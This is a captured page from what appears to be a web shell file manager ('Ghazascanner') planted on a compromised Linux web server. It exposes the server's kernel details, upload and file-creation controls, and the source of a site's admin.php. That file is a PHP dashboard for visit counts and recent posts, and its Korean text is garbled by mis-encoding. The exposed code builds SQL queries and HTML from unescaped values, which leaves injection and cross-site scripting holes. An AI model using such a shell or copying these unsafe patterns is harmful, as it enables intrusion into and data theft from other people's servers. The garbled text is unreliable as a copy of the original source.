@Ghazascanner
_2019runbot
Ghazascanner File Manager
server :Linux adweb87 2.6.32-754.el6.x86_64 #1 SMP Tue Jun 19 21:26:04 UTC 2018 x86_64
Current Path :
/
home
/
sanchung
/
public_html
/
admin
/
_setup
/
Path :
Upload File :
New :
File
Dir
/home/sanchung/public_html/admin/_setup/admin.php
<? $row1 = $mysql->row("psk_count1", "sum(total)", "where basedate='".date("Y-m-d")."'"); $row2 = $mysql->row("psk_count1", "sum(total)", "where basedate='".date("Y-m-d", mktime()-(60*60*24*1))."'"); $row3 = $mysql->row("psk_count1", "sum(total)", ""); echo" <h2>Á¢¼ÓȽ¼ö</h2> <ul id='admcount'> <li>Today : ".number_format($row1[0])."</li> <li>Yesterday : ".number_format($row2[0])."</li> <li class='clast'>Total : ".number_format($row3[0])."</li> </ul> <h2>ÃÖ±Ù °Ô½Ã¹°</h2> <table id='l-table' summary='°Ô½ÃÆÇº°·Î ÃֱٰԽù°ÀÇ Á¦¸ñ, ÀÛ¼ºÀÚ, ÀÛ¼ºÀÏ, Á¶È¸¼ö¸¦ º¼¼ö ÀÖ½À´Ï´Ù.'> <caption class='blind'>°Ô½ÃÆÇº° ÃÖ±Ù °Ô½Ã¹°</caption> <thead> <tr> <th width='19%' scope='col'>°Ô½ÃÆÇ¸í</th> <th width='*' scope='col'>Á¦ ¸ñ</th> <th width='12%' scope='col'>ÀÛ¼ºÀÚ</th> <th width='12%' scope='col'>ÀÛ¼ºÀÏ</th> <th width='10%' scope='col'>Á¶È¸¼ö</th> </tr> </thead> <tbody>"; $res = $mysql->res("$_board[table]", "*", "where mstp=0 order by wdate desc limit 10"); $total = mysql_num_rows($res); while($row = mysql_fetch_array($res)){ $_row = $mysql->row("$_board[table_manager]", "name, shape", "where db='$row[db]'"); $type = "read"; if($_row[shape] == "memo" || $_row[shape] == "guest"){ $row[subject] = $lib->string_cut($row[content], 35); $type = ""; } if($_row[shape] == "faq" || $_row[shape] == "guest") $type = ""; echo" <tr> <td><a href='?amode=board_view&db=$row[db]'>[$_row[name]]</a></td> <td class='bsubject'> <a href='?db=$row[db]&amode=board_view&id=$row[id]&type=$type'>$row[subject]</a></td> <td>$row[name]</td> <td>".substr($row[wdate], 0, 10)."</td> <td>$row[hit]</td> </tr> "; } if($total == 0){ echo " <tr> <td colspan='5'><b>µî·ÏµÈ °Ô½Ã¹°ÀÌ ¾ø½À´Ï´Ù.</b></td> </tr>"; } echo " </tbody> </table> <br /> "; ?>